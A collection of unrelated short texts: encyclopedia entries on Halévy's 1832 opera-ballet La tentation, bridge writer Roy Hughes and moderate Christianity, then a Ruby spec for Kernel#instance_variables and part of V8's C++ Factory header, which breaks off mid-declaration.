The date of the premiere is given by Marian Smith as 12 March 1832; however the printed libretto gives the date 20 June. The music contains several direct quotations from Beethoven, including from his Fifth Symphony (in the act 2 meeting of the demons) and his Pathétique sonata.
On 2 August 1832, Frédéric Chopin wrote to Ferdinand Hiller that "La tentation, an opera-ballet by Halévy and Gide, tempted no-one with any good taste, since it is as dull as your German parliament is out of keeping with the spirit of our century". However, the work was a box-office success and had over 50 performances in its first season, and over 50 performances in the next 6 years, although it does not seem to have been revived since then. The autograph score is in the Bibliothèque de l'Opéra in Paris.
Roles
{| class="wikitable"
! Role
! Role type
! Premiere cast, 20 June 1832(Conductor: )
|-
| The hermit
| dancer
| Joseph Mazilier
|-
| Marie, a young pilgrim
| dancer
| Pauline Leroux
|-
| Hélène, young woman of Iconium
| soprano
| Julie Dorus
|-
| Mizaël, angel
| soprano
| Louise-Zulmé Dabadie
|-
| Astaroth, king of the demons
| dancer
| Louis-Stanislas Montjoie
|-
| Miranda, daughter of hell
| dancer
| Pauline Duvernay
|-
| Anubri, she-devil
| mezzo-soprano
| Constance Jawureck
|-
| Raca, she-devil
| dancer
| Louise Élie
|-
| Ditikan, demon
| dancer
| François-Louis-Sylvain Simon
|-
| Asmodée, demon
| tenor
| Alexis Dupont
|-
| Drack, demon
| baritone
| Ferdinand Prévôt
|-
| Bélial, demon
| tenor
| Jean-Étienne-Auguste Massol
|-
| Baal, demon
| bass
| Charles-Louis Pouilley
|-
| Samiel, demon
| tenor
| Hyacinthe-M. Trévaux
|-
| Moloc, demon
| bass
| Auguste-Hyacinth Hurteaux
|-
| Mammon, demon
| tenor
| François Wartel
|-
| Belzébuth, demon
| bass
| Prosper Dérivis
|-
| Urian, demon
| singer
| M. Sambet
|-
| Validé, a favorite of the sultan
| dancer
| Lise Noblet
|-
| Léila, a favorite of the sultan
| dancer
| Pauline Paul Montessu
|-
| Amidé, a favorite of the sultan
| dancer
| (Odile-Daniel) Julia de Varennes
|-
| Effémi, a favorite of the sultan
| mezzo-soprano
| Constance Jawureck
|-
| Gulliéaz, a favorite of the sultan
| dancer
| Mme (Alexis) Dupont
|-
| A monster
| dancer
| Mlle Keppler
|-
| Alaédan, sultan of Iconium
| dancer
| Simon Mérante
|-
| colspan="3" | ChorusAct 1: 25 shepherds, demons (all the men), 8 angels, 15 female peasantsAct 2: demons (entire chorus)Act 3: huntsmen, 3 trumpeters, 4 lords, 20 cooks, 13 angels and pilgrimsAct 4: (entire chorus)Act 5: (entire chorus)Part 2: demons (all the men), angels (all the women).
|-
| colspan="3" | Corps de balletAct 1: 2 fiancés, 11 shepherds, 12 peasant women, 4 childrenAct 2: 7 Capital Sins, Astaroth's army (14 captains, drum-major, music conductor, 10 gunners, 23 men,13 little he-devils, 36 women, 12 little she-devils)Act 3: 12 whippers-in, 18 pages of the huntAct 4: 40 harem women, 2 matrons, 6 black eunuchsAct 5: 8 subjects of AstarothPart 1: dancing master, fencing master, painter, poet, cook, ogre, she-devil, page, merchant, female magicianPart 2: demons (all the men), angels (all the women).
|}
Synopsis
Act 1An oriental desert close to a hermitageThe hermit prays to free himself from temptation; he is apparently struck dead by lightning when lusting after the pilgrim Marie. Whilst angels and demons debate his fate, he revives and flees.
Act 2The interior of a volcanoAstaroth and the demons plot a revenge against the hermit. In one of the most popular scenes of the opera, they create the temptress Miranda, who rises (apparently naked) from a cauldron which has previously produced a grisly monster. Miranda is marked by a black spot on her heart. The demons are dispersed by an angel on a meteor.
Act 3In a deserted parkThe hermit is starving. Astaroth appears with the demoness Miranda to tempt him, offering bread for his cross. However Miranda is moved by the hermit's prayer and kneels; the spot vanishes.
Act 4A magnificent harem by the seashoreThe hermit is attracted by the beautiful dancers of the harem, who prevent Miranda from joining their revels. The hermit is told that by murdering the Sultan he can take over the harem; but Miranda prevents him.
Act 5An oriental desert close to a hermitageThe hermit finds Marie in his hermitage. Miranda joins Marie in prayer, although she has been commanded to seduce the hermit. Astaroth and his legions undertake various diabolic actions, including the murder of Miranda. However, angels take the hermit to heaven.
Costume gallery
References
Notes
Sources
Gourret, Jean (1982). Dictionnaire des chanteurs de l'Opéra de Paris. Paris: Albatros. View formats and editions at WorldCat.
Guest, Ivor (2008). The Romantic Ballet in Paris. Alton, Hampshire, UK: Dance Books. .
Halévy, Fromental et al. (1832), La tentation, Ballet-opéra en 5 actes, Paris. View at Bavarian State Library online.
Jourdan, Ruth (1994). Fromental Halévy. London: Kahn and Averill. .
Lajarte, Théodore (1878). Bibliothèque musicale du Théâtre de l'Opéra, volume 2 [1793–1876]. Paris: Librairie des Bibliophiles. View at Google Books.
Pitou, Spire (1983). The Paris Opéra: An Encyclopedia of Operas, Ballets, Composers, and Performers (3 volumes). Westport, Connecticut: Greenwood Press. .
Smith, Marian Elizabeth (2000). Ballet and Opera in the Age of Giselle. Princeton: Princeton University Press. .
Smith, Marian (2001), 'Three Hybrid Works at the Paris Opéra, circa 1830' in Dance Chronicle vol. 24 no. 1, pp. 7–53
Smith, Marian (2003), 'Dance and Dancers', in The Cambridge Companion to Grand Opera, ed. D. Charlton, pp. 93–107. Cambridge: Cambridge University Press. .
Tamvaco, Jean-Louis (2000). Les Cancans de l'Opéra. Chroniques de l'Académie Royale de Musique et du théâtre, à Paris sous les deux restorations'' (2 volumes, in French). Paris: CNRS Editions. .
Operas
1832 operas
1832 ballet premieres
Opera world premieres at the Paris Opera
Operas by Fromental Halévy
French-language operas
|
Roy Hughes (born 1954) is a Canadian contract bridge writer and expert player. He won the International Bridge Press Association (IBPA) Book of the Year award in 2007 for Canada's Bridge Warriors, about the Canadian pair Eric Murray and Sami Kehela. That was his third bridge book, and the first two had been finalists for the IBPA award, Building a Bidding System and Card By Card. His fourth book, The Contested Auction, won the 2012 award (now sponsored by his publisher Master Point Press).
Hughes lives in Toronto, Canada.
Books
Building a Bidding System (Toronto: Master Point Press, 2005), 148 pp.
Card by Card: Adventures at the Bridge Table (Master Point, 2006), 240 pp.
Canada's Bridge Warriors: Eric Murray and Sami Kehela (Master Point, 2007), 336 pp.
The Contested Auction at Bridge (Master Point, 2012), 336 pp.
Further Adventures at the Bridge Table (Master Point, 2013)
References
External links
Roy Hughes Blog at BridgeBlogging
Interview at TeachBridge – publisher Master Point Press (2012?)
1954 births
Living people
Contract bridge writers
Canadian contract bridge players
Place of birth missing (living people)
Date of birth missing (living people)
Writers from Toronto
|
```ruby
require_relative '../../spec_helper'
require_relative 'fixtures/classes'
describe "Kernel#instance_variables" do
describe "immediate values" do
it "returns an empty array if no instance variables are defined" do
[0, 0.5, true, false, nil].each do |value|
value.instance_variables.should == []
end
end
it "returns the correct array if an instance variable is added" do
a = 0
->{ a.instance_variable_set("@test", 1) }.should raise_error(RuntimeError)
end
end
describe "regular objects" do
it "returns an empty array if no instance variables are defined" do
Object.new.instance_variables.should == []
end
it "returns the correct array if an instance variable is added" do
a = Object.new
a.instance_variable_set("@test", 1)
a.instance_variables.should == [:@test]
end
it "returns the instances variables in the order declared" do
c = Class.new do
def initialize
@c = 1
@a = 2
@b = 3
end
end
c.new.instance_variables.should == [:@c, :@a, :@b]
end
end
end
```
|
Moderate Christianity is a theological movement in Christianity that seeks to make decisions based on spiritual wisdom.
Origin
Moderation in Christianity is related to the spiritual wisdom that is addressed in Epistle of James in chapter 3 verse 17. In the First Epistle to Timothy, moderation is also referred to as temperance and is a required characteristic to be bishop in the Church.
Characteristics
Moderate Christianity is characterized by its concern to bring hope, to include cultural diversity and creative collaboration, by not being fundamentalist or liberal, predominantly conservative and avoids extremism in its decisions.
Catholicism
Moderate Catholicism mainly became visible in the 18th century, with Catholic groups taking more moderate positions, such as supporting ecumenism and liturgical reforms. These moderates are also overwhelmingly in favor of state autonomy and the independence of Church doctrine from the state. After Vatican Council II, moderate Catholics distanced themselves from traditionalist Catholicism.
Evangelical Christianity
Moderate evangelical Christianity emerged in the 1940s in the United States in response to the Fundamentalist movement of the 1910s. In the late 1940s, evangelical theologians from Fuller Theological Seminary founded in Pasadena, California, in 1947, championed the Christian importance of social activism. The study of the Bible has been accompanied by certain disciplines such as Biblical hermeneutics, Biblical exegesis and apologetics. Moderate theologians have become more present in Bible colleges and more moderate theological positions have been adopted in evangelical churches. In this movement called neo-evangelicalism, new organizations, social agencies, media and Bible colleges were established in the 1950s.
See also
Christian fundamentalism
Conservative Christianity
Liberal Christianity
Progressive Christianity
Political moderate
References
Christian philosophy
Christian theological movements
Christian terminology
|
```objective-c
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#ifndef V8_FACTORY_H_
#define V8_FACTORY_H_
#include "src/globals.h"
#include "src/isolate.h"
#include "src/messages.h"
#include "src/type-feedback-vector.h"
namespace v8 {
namespace internal {
enum FunctionMode {
// With prototype.
FUNCTION_WITH_WRITEABLE_PROTOTYPE,
FUNCTION_WITH_READONLY_PROTOTYPE,
// Without prototype.
FUNCTION_WITHOUT_PROTOTYPE
};
// Interface for handle based allocation.
class V8_EXPORT_PRIVATE Factory final {
public:
Handle<Oddball> NewOddball(Handle<Map> map, const char* to_string,
Handle<Object> to_number, const char* type_of,
byte kind);
// Allocates a fixed array initialized with undefined values.
Handle<FixedArray> NewFixedArray(int size,
PretenureFlag pretenure = NOT_TENURED);
// Tries allocating a fixed array initialized with undefined values.
// In case of an allocation failure (OOM) an empty handle is returned.
// The caller has to manually signal an
// v8::internal::Heap::FatalProcessOutOfMemory typically by calling
// NewFixedArray as a fallback.
MUST_USE_RESULT
MaybeHandle<FixedArray> TryNewFixedArray(
int size, PretenureFlag pretenure = NOT_TENURED);
// Allocate a new fixed array with non-existing entries (the hole).
Handle<FixedArray> NewFixedArrayWithHoles(
int size,
PretenureFlag pretenure = NOT_TENURED);
// Allocates an uninitialized fixed array. It must be filled by the caller.
Handle<FixedArray> NewUninitializedFixedArray(int size);
// Allocate a new uninitialized fixed double array.
// The function returns a pre-allocated empty fixed array for capacity = 0,
// so the return type must be the general fixed array class.
Handle<FixedArrayBase> NewFixedDoubleArray(
int size,
PretenureFlag pretenure = NOT_TENURED);
// Allocate a new fixed double array with hole values.
Handle<FixedArrayBase> NewFixedDoubleArrayWithHoles(
int size,
PretenureFlag pretenure = NOT_TENURED);
Handle<FrameArray> NewFrameArray(int number_of_frames,
PretenureFlag pretenure = NOT_TENURED);
Handle<OrderedHashSet> NewOrderedHashSet();
Handle<OrderedHashMap> NewOrderedHashMap();
// Create a new boxed value.
Handle<Box> NewBox(Handle<Object> value);
// Create a new PromiseReactionJobInfo struct.
Handle<PromiseReactionJobInfo> NewPromiseReactionJobInfo(
Handle<Object> value, Handle<Object> tasks, Handle<Object> deferred,
Handle<Object> debug_id, Handle<Object> debug_name,
Handle<Context> context);
// Create a new PromiseResolveThenableJobInfo struct.
Handle<PromiseResolveThenableJobInfo> NewPromiseResolveThenableJobInfo(
Handle<JSReceiver> thenable, Handle<JSReceiver> then,
Handle<JSFunction> resolve, Handle<JSFunction> reject,
Handle<Object> debug_id, Handle<Object> debug_name,
Handle<Context> context);
// Create a new PrototypeInfo struct.
Handle<PrototypeInfo> NewPrototypeInfo();
// Create a new Tuple2 struct.
Handle<Tuple2> NewTuple2(Handle<Object> value1, Handle<Object> value2);
// Create a new Tuple3 struct.
Handle<Tuple3> NewTuple3(Handle<Object> value1, Handle<Object> value2,
Handle<Object> value3);
// Create a new ContextExtension struct.
Handle<ContextExtension> NewContextExtension(Handle<ScopeInfo> scope_info,
Handle<Object> extension);
// Create a pre-tenured empty AccessorPair.
Handle<AccessorPair> NewAccessorPair();
// Create an empty TypeFeedbackInfo.
Handle<TypeFeedbackInfo> NewTypeFeedbackInfo();
// Finds the internalized copy for string in the string table.
// If not found, a new string is added to the table and returned.
Handle<String> InternalizeUtf8String(Vector<const char> str);
Handle<String> InternalizeUtf8String(const char* str) {
return InternalizeUtf8String(CStrVector(str));
}
Handle<String> InternalizeOneByteString(Vector<const uint8_t> str);
Handle<String> InternalizeOneByteString(
Handle<SeqOneByteString>, int from, int length);
Handle<String> InternalizeTwoByteString(Vector<const uc16> str);
template<class StringTableKey>
Handle<String> InternalizeStringWithKey(StringTableKey* key);
// Internalized strings are created in the old generation (data space).
Handle<String> InternalizeString(Handle<String> string) {
if (string->IsInternalizedString()) return string;
return StringTable::LookupString(isolate(), string);
}
Handle<Name> InternalizeName(Handle<Name> name) {
if (name->IsUniqueName()) return name;
return StringTable::LookupString(isolate(), Handle<String>::cast(name));
}
// String creation functions. Most of the string creation functions take
// a Heap::PretenureFlag argument to optionally request that they be
// allocated in the old generation. The pretenure flag defaults to
// DONT_TENURE.
//
// Creates a new String object. There are two String encodings: one-byte and
// two-byte. One should choose between the three string factory functions
// based on the encoding of the string buffer that the string is
// initialized from.
// - ...FromOneByte initializes the string from a buffer that is Latin1
// encoded (it does not check that the buffer is Latin1 encoded) and
// the result will be Latin1 encoded.
// - ...FromUtf8 initializes the string from a buffer that is UTF-8
// encoded. If the characters are all ASCII characters, the result
// will be Latin1 encoded, otherwise it will converted to two-byte.
// - ...FromTwoByte initializes the string from a buffer that is two-byte
// encoded. If the characters are all Latin1 characters, the result
// will be converted to Latin1, otherwise it will be left as two-byte.
//
// One-byte strings are pretenured when used as keys in the SourceCodeCache.
MUST_USE_RESULT MaybeHandle<String> NewStringFromOneByte(
Vector<const uint8_t> str, PretenureFlag pretenure = NOT_TENURED);
template <size_t N>
inline Handle<String> NewStringFromStaticChars(
const char (&str)[N], PretenureFlag pretenure = NOT_TENURED) {
DCHECK(N == StrLength(str) + 1);
return NewStringFromOneByte(STATIC_CHAR_VECTOR(str), pretenure)
.ToHandleChecked();
}
inline Handle<String> NewStringFromAsciiChecked(
const char* str,
PretenureFlag pretenure = NOT_TENURED) {
return NewStringFromOneByte(
OneByteVector(str), pretenure).ToHandleChecked();
}
// Allocates and fully initializes a String. There are two String encodings:
// one-byte and two-byte. One should choose between the threestring
// allocation functions based on the encoding of the string buffer used to
// initialized the string.
// - ...FromOneByte initializes the string from a buffer that is Latin1
// encoded (it does not check that the buffer is Latin1 encoded) and the
// result will be Latin1 encoded.
// - ...FromUTF8 initializes the string from a buffer that is UTF-8
// encoded. If the characters are all ASCII characters, the result
// will be Latin1 encoded, otherwise it will converted to two-byte.
// - ...FromTwoByte initializes the string from a buffer that is two-byte
// encoded. If the characters are all Latin1 characters, the
// result will be converted to Latin1, otherwise it will be left as
// two-byte.
// TODO(dcarney): remove this function.
MUST_USE_RESULT inline MaybeHandle<String> NewStringFromAscii(
Vector<const char> str,
PretenureFlag pretenure = NOT_TENURED) {
return NewStringFromOneByte(Vector<const uint8_t>::cast(str), pretenure);
}
// UTF8 strings are pretenured when used for regexp literal patterns and
// flags in the parser.
MUST_USE_RESULT MaybeHandle<String> NewStringFromUtf8(
Vector<const char> str, PretenureFlag pretenure = NOT_TENURED);
MUST_USE_RESULT MaybeHandle<String> NewStringFromUtf8SubString(
Handle<SeqOneByteString> str, int begin, int end,
PretenureFlag pretenure = NOT_TENURED);
MUST_USE_RESULT MaybeHandle<String> NewStringFromTwoByte(
Vector<const uc16> str, PretenureFlag pretenure = NOT_TENURED);
MUST_USE_RESULT MaybeHandle<String> NewStringFromTwoByte(
const ZoneVector<uc16>* str, PretenureFlag pretenure = NOT_TENURED);
Handle<JSStringIterator> NewJSStringIterator(Handle<String> string);
// Allocates an internalized string in old space based on the character
// stream.
Handle<String> NewInternalizedStringFromUtf8(Vector<const char> str,
int chars, uint32_t hash_field);
Handle<String> NewOneByteInternalizedString(Vector<const uint8_t> str,
uint32_t hash_field);
Handle<String> NewOneByteInternalizedSubString(
Handle<SeqOneByteString> string, int offset, int length,
uint32_t hash_field);
Handle<String> NewTwoByteInternalizedString(Vector<const uc16> str,
uint32_t hash_field);
Handle<String> NewInternalizedStringImpl(Handle<String> string, int chars,
uint32_t hash_field);
// Compute the matching internalized string map for a string if possible.
// Empty handle is returned if string is in new space or not flattened.
MUST_USE_RESULT MaybeHandle<Map> InternalizedStringMapForString(
Handle<String> string);
// Allocates and partially initializes an one-byte or two-byte String. The
// characters of the string are uninitialized. Currently used in regexp code
// only, where they are pretenured.
MUST_USE_RESULT MaybeHandle<SeqOneByteString> NewRawOneByteString(
int length,
PretenureFlag pretenure = NOT_TENURED);
MUST_USE_RESULT MaybeHandle<SeqTwoByteString> NewRawTwoByteString(
int length,
PretenureFlag pretenure = NOT_TENURED);
// Creates a single character string where the character has given code.
// A cache is used for Latin1 codes.
Handle<String> LookupSingleCharacterStringFromCode(uint32_t code);
// Create a new cons string object which consists of a pair of strings.
MUST_USE_RESULT MaybeHandle<String> NewConsString(Handle<String> left,
Handle<String> right);
// Create or lookup a single characters tring made up of a utf16 surrogate
// pair.
Handle<String> NewSurrogatePairString(uint16_t lead, uint16_t trail);
// Create a new string object which holds a proper substring of a string.
Handle<String> NewProperSubString(Handle<String> str,
int begin,
int end);
// Create a new string object which holds a substring of a string.
Handle<String> NewSubString(Handle<String> str, int begin, int end) {
if (begin == 0 && end == str->length()) return str;
return NewProperSubString(str, begin, end);
}
// Creates a new external String object. There are two String encodings
// in the system: one-byte and two-byte. Unlike other String types, it does
// not make sense to have a UTF-8 factory function for external strings,
// because we cannot change the underlying buffer. Note that these strings
// are backed by a string resource that resides outside the V8 heap.
MUST_USE_RESULT MaybeHandle<String> NewExternalStringFromOneByte(
const ExternalOneByteString::Resource* resource);
MUST_USE_RESULT MaybeHandle<String> NewExternalStringFromTwoByte(
const ExternalTwoByteString::Resource* resource);
// Create a new external string object for one-byte encoded native script.
// It does not cache the resource data pointer.
Handle<ExternalOneByteString> NewNativeSourceString(
const ExternalOneByteString::Resource* resource);
// Create a symbol.
Handle<Symbol> NewSymbol();
Handle<Symbol> NewPrivateSymbol();
// Create a global (but otherwise uninitialized) context.
Handle<Context> NewNativeContext();
// Create a script context.
Handle<Context> NewScriptContext(Handle<JSFunction> function,
Handle<ScopeInfo> scope_info);
// Create an empty script context table.
Handle<ScriptContextTable> NewScriptContextTable();
// Create a module context.
Handle<Context> NewModuleContext(Handle<Module> module,
Handle<JSFunction> function,
Handle<ScopeInfo> scope_info);
// Create a function context.
Handle<Context> NewFunctionContext(int length, Handle<JSFunction> function);
// Create a catch context.
Handle<Context> NewCatchContext(Handle<JSFunction> function,
Handle<Context> previous,
Handle<ScopeInfo> scope_info,
Handle<String> name,
Handle<Object> thrown_object);
// Create a 'with' context.
Handle<Context> NewWithContext(Handle<JSFunction> function,
Handle<Context> previous,
Handle<ScopeInfo> scope_info,
Handle<JSReceiver> extension);
Handle<Context> NewDebugEvaluateContext(Handle<Context> previous,
Handle<ScopeInfo> scope_info,
Handle<JSReceiver> extension,
Handle<Context> wrapped,
Handle<StringSet> whitelist);
// Create a block context.
Handle<Context> NewBlockContext(Handle<JSFunction> function,
Handle<Context> previous,
Handle<ScopeInfo> scope_info);
// Create a promise context.
Handle<Context> NewPromiseResolvingFunctionContext(int length);
// Allocate a new struct. The struct is pretenured (allocated directly in
// the old generation).
Handle<Struct> NewStruct(InstanceType type);
Handle<AliasedArgumentsEntry> NewAliasedArgumentsEntry(
int aliased_context_slot);
Handle<AccessorInfo> NewAccessorInfo();
Handle<Script> NewScript(Handle<String> source);
// Foreign objects are pretenured when allocated by the bootstrapper.
Handle<Foreign> NewForeign(Address addr,
PretenureFlag pretenure = NOT_TENURED);
// Allocate a new foreign object. The foreign is pretenured (allocated
// directly in the old generation).
Handle<Foreign> NewForeign(const AccessorDescriptor* foreign);
Handle<ByteArray> NewByteArray(int length,
PretenureFlag pretenure = NOT_TENURED);
Handle<BytecodeArray> NewBytecodeArray(int length, const byte* raw_bytecodes,
int frame_size, int parameter_count,
Handle<FixedArray> constant_pool);
Handle<FixedTypedArrayBase> NewFixedTypedArrayWithExternalPointer(
int length, ExternalArrayType array_type, void* external_pointer,
PretenureFlag pretenure = NOT_TENURED);
Handle<FixedTypedArrayBase> NewFixedTypedArray(
int length, ExternalArrayType array_type, bool initialize,
PretenureFlag pretenure = NOT_TENURED);
Handle<Cell> NewCell(Handle<Object> value);
Handle<PropertyCell> NewPropertyCell();
Handle<WeakCell> NewWeakCell(Handle<HeapObject> value);
Handle<TransitionArray> NewTransitionArray(int capacity);
// Allocate a tenured AllocationSite. It's payload is null.
Handle<AllocationSite> NewAllocationSite();
Handle<Map> NewMap(
InstanceType type,
int instance_size,
ElementsKind elements_kind = TERMINAL_FAST_ELEMENTS_KIND);
Handle<HeapObject> NewFillerObject(int size,
bool double_align,
AllocationSpace space);
Handle<JSObject> NewFunctionPrototype(Handle<JSFunction> function);
Handle<JSObject> CopyJSObject(Handle<JSObject> object);
Handle<JSObject> CopyJSObjectWithAllocationSite(Handle<JSObject> object,
Handle<AllocationSite> site);
Handle<FixedArray> CopyFixedArrayWithMap(Handle<FixedArray> array,
Handle<Map> map);
Handle<FixedArray> CopyFixedArrayAndGrow(
Handle<FixedArray> array, int grow_by,
PretenureFlag pretenure = NOT_TENURED);
Handle<FixedArray> CopyFixedArrayUpTo(Handle<FixedArray> array, int new_len,
PretenureFlag pretenure = NOT_TENURED);
Handle<FixedArray> CopyFixedArray(Handle<FixedArray> array);
// This method expects a COW array in new space, and creates a copy
// of it in old space.
Handle<FixedArray> CopyAndTenureFixedCOWArray(Handle<FixedArray> array);
Handle<FixedDoubleArray> CopyFixedDoubleArray(
Handle<FixedDoubleArray> array);
// Numbers (e.g. literals) are pretenured by the parser.
// The return value may be a smi or a heap number.
Handle<Object> NewNumber(double value,
PretenureFlag pretenure = NOT_TENURED);
Handle<Object> NewNumberFromInt(int32_t value,
PretenureFlag pretenure = NOT_TENURED);
Handle<Object> NewNumberFromUint(uint32_t value,
PretenureFlag pretenure = NOT_TENURED);
Handle<Object> NewNumberFromSize(size_t value,
PretenureFlag pretenure = NOT_TENURED) {
// We can't use Smi::IsValid() here because that operates on a signed
// intptr_t, and casting from size_t could create a bogus sign bit.
if (value <= static_cast<size_t>(Smi::kMaxValue)) {
return Handle<Object>(Smi::FromIntptr(static_cast<intptr_t>(value)),
isolate());
}
return NewNumber(static_cast<double>(value), pretenure);
}
Handle<Object> NewNumberFromInt64(int64_t value,
PretenureFlag pretenure = NOT_TENURED) {
if (value <= std::numeric_limits<int32_t>::max() &&
value >= std::numeric_limits<int32_t>::min() &&
Smi::IsValid(static_cast<int32_t>(value))) {
return Handle<Object>(Smi::FromInt(static_cast<int32_t>(value)),
isolate());
}
return NewNumber(static_cast<double>(value), pretenure);
}
Handle<HeapNumber> NewHeapNumber(double value,
MutableMode mode = IMMUTABLE,
PretenureFlag pretenure = NOT_TENURED);
#define SIMD128_NEW_DECL(TYPE, Type, type, lane_count, lane_type) \
Handle<Type> New##Type(lane_type lanes[lane_count], \
PretenureFlag pretenure = NOT_TENURED);
SIMD128_TYPES(SIMD128_NEW_DECL)
#undef SIMD128_NEW_DECL
Handle<JSWeakMap> NewJSWeakMap();
Handle<JSObject> NewArgumentsObject(Handle<JSFunction> callee, int length);
// JS objects are pretenured when allocated by the bootstrapper and
// runtime.
Handle<JSObject> NewJSObject(Handle<JSFunction> constructor,
PretenureFlag pretenure = NOT_TENURED);
// JSObject without a prototype.
Handle<JSObject> NewJSObjectWithNullProto();
// Global objects are pretenured and initialized based on a constructor.
Handle<JSGlobalObject> NewJSGlobalObject(Handle<JSFunction> constructor);
// JS objects are pretenured when allocated by the bootstrapper and
// runtime.
Handle<JSObject> NewJSObjectFromMap(
Handle<Map> map,
PretenureFlag pretenure = NOT_TENURED,
Handle<AllocationSite> allocation_site = Handle<AllocationSite>::null());
// JS arrays are pretenured when allocated by the parser.
// Create a JSArray with a specified length and elements initialized
// according to the specified mode.
Handle<JSArray> NewJSArray(
ElementsKind elements_kind, int length, int capacity,
ArrayStorageAllocationMode mode = DONT_INITIALIZE_ARRAY_ELEMENTS,
PretenureFlag pretenure = NOT_TENURED);
Handle<JSArray> NewJSArray(
int capacity, ElementsKind elements_kind = TERMINAL_FAST_ELEMENTS_KIND,
PretenureFlag pretenure = NOT_TENURED) {
if (capacity != 0) {
elements_kind = GetHoleyElementsKind(elements_kind);
}
return NewJSArray(elements_kind, 0, capacity,
INITIALIZE_ARRAY_ELEMENTS_WITH_HOLE, pretenure);
}
// Create a JSArray with the given elements.
Handle<JSArray> NewJSArrayWithElements(Handle<FixedArrayBase> elements,
ElementsKind elements_kind, int length,
PretenureFlag pretenure = NOT_TENURED);
Handle<JSArray> NewJSArrayWithElements(
Handle<FixedArrayBase> elements,
ElementsKind elements_kind = TERMINAL_FAST_ELEMENTS_KIND,
PretenureFlag pretenure = NOT_TENURED) {
return NewJSArrayWithElements(elements, elements_kind, elements->length(),
pretenure);
}
void NewJSArrayStorage(
Handle<JSArray> array,
int length,
int capacity,
ArrayStorageAllocationMode mode = DONT_INITIALIZE_ARRAY_ELEMENTS);
Handle<JSGeneratorObject> NewJSGeneratorObject(Handle<JSFunction> function);
Handle<JSModuleNamespace> NewJSModuleNamespace();
Handle<Module> NewModule(Handle<SharedFunctionInfo> code);
Handle<JSArrayBuffer> NewJSArrayBuffer(
SharedFlag shared = SharedFlag::kNotShared,
PretenureFlag pretenure = NOT_TENURED);
Handle<JSTypedArray> NewJSTypedArray(ExternalArrayType type,
PretenureFlag pretenure = NOT_TENURED);
Handle<JSTypedArray> NewJSTypedArray(ElementsKind elements_kind,
PretenureFlag pretenure = NOT_TENURED);
// Creates a new JSTypedArray with the specified buffer.
Handle<JSTypedArray> NewJSTypedArray(ExternalArrayType type,
Handle<JSArrayBuffer> buffer,
size_t byte_offset, size_t length,
PretenureFlag pretenure = NOT_TENURED);
// Creates a new on-heap JSTypedArray.
Handle<JSTypedArray> NewJSTypedArray(ElementsKind elements_kind,
size_t number_of_elements,
PretenureFlag pretenure = NOT_TENURED);
Handle<JSDataView> NewJSDataView();
Handle<JSDataView> NewJSDataView(Handle<JSArrayBuffer> buffer,
size_t byte_offset, size_t byte_length);
Handle<JSIteratorResult> NewJSIteratorResult(Handle<Object> value, bool done);
Handle<JSMap> NewJSMap();
Handle<JSSet> NewJSSet();
// TODO(aandrey): Maybe these should take table, index and kind arguments.
Handle<JSMapIterator> NewJSMapIterator();
Handle<JSSetIterator> NewJSSetIterator();
Handle<JSFixedArrayIterator> NewJSFixedArrayIterator(
Handle<FixedArray> array);
// Allocates a bound function.
MaybeHandle<JSBoundFunction> NewJSBoundFunction(
Handle<JSReceiver> target_function, Handle<Object> bound_this,
Vector<Handle<Object>> bound_args);
// Allocates a Harmony proxy.
Handle<JSProxy> NewJSProxy(Handle<JSReceiver> target,
Handle<JSReceiver> handler);
// Reinitialize an JSGlobalProxy based on a constructor. The object
// must have the same size as objects allocated using the
// constructor. The object is reinitialized and behaves as an
// object that has been freshly allocated using the constructor.
void ReinitializeJSGlobalProxy(Handle<JSGlobalProxy> global,
Handle<JSFunction> constructor);
Handle<JSGlobalProxy> NewUninitializedJSGlobalProxy(int size);
Handle<JSFunction> NewFunction(Handle<Map> map,
Handle<SharedFunctionInfo> info,
Handle<Object> context_or_undefined,
PretenureFlag pretenure = TENURED);
Handle<JSFunction> NewFunction(Handle<String> name, Handle<Code> code,
Handle<Object> prototype,
bool is_strict = false);
Handle<JSFunction> NewFunction(Handle<String> name);
Handle<JSFunction> NewFunctionWithoutPrototype(Handle<String> name,
Handle<Code> code,
bool is_strict = false);
Handle<JSFunction> NewFunctionFromSharedFunctionInfo(
Handle<Map> initial_map, Handle<SharedFunctionInfo> function_info,
Handle<Object> context_or_undefined, PretenureFlag pretenure = TENURED);
Handle<JSFunction> NewFunctionFromSharedFunctionInfo(
Handle<SharedFunctionInfo> function_info, Handle<Context> context,
PretenureFlag pretenure = TENURED);
Handle<JSFunction> NewFunction(Handle<String> name, Handle<Code> code,
Handle<Object> prototype, InstanceType type,
int instance_size,
bool is_strict = false);
Handle<JSFunction> NewFunction(Handle<String> name,
Handle<Code> code,
InstanceType type,
int instance_size);
Handle<JSFunction> NewFunction(Handle<Map> map, Handle<String> name,
MaybeHandle<Code> maybe_code);
// Create a serialized scope info.
Handle<ScopeInfo> NewScopeInfo(int length);
Handle<ModuleInfoEntry> NewModuleInfoEntry();
Handle<ModuleInfo> NewModuleInfo();
// Create an External object for V8's external API.
Handle<JSObject> NewExternal(void* value);
// The reference to the Code object is stored in self_reference.
// This allows generated code to reference its own Code object
// by containing this handle.
Handle<Code> NewCode(const CodeDesc& desc,
Code::Flags flags,
Handle<Object> self_reference,
bool immovable = false,
bool crankshafted = false,
int prologue_offset = Code::kPrologueOffsetNotSet,
bool is_debug = false);
Handle<Code> CopyCode(Handle<Code> code);
Handle<BytecodeArray> CopyBytecodeArray(Handle<BytecodeArray>);
// Interface for creating error objects.
Handle<Object> NewError(Handle<JSFunction> constructor,
Handle<String> message);
Handle<Object> NewInvalidStringLengthError();
Handle<Object> NewURIError() {
return NewError(isolate()->uri_error_function(),
MessageTemplate::kURIMalformed);
}
Handle<Object> NewError(Handle<JSFunction> constructor,
MessageTemplate::Template template_index,
Handle<Object> arg0 = Handle<Object>(),
Handle<Object> arg1 = Handle<Object>(),
Handle<Object> arg2 = Handle<Object>());
#define DECLARE_ERROR(NAME) \
Handle<Object> New##NAME(MessageTemplate::Template template_index, \
Handle<Object> arg0 = Handle<Object>(), \
Handle<Object> arg1 = Handle<Object>(), \
Handle<Object> arg2 = Handle<Object>());
DECLARE_ERROR(Error)
DECLARE_ERROR(EvalError)
DECLARE_ERROR(RangeError)
DECLARE_ERROR(ReferenceError)
DECLARE_ERROR(SyntaxError)
DECLARE_ERROR(TypeError)
DECLARE_ERROR(WasmCompileError)
DECLARE_ERROR(WasmRuntimeError)
#undef DECLARE_ERROR
Handle<String> NumberToString(Handle<Object> number,
bool check_number_string_cache = true);
Handle<String> Uint32ToString(uint32_t value) {
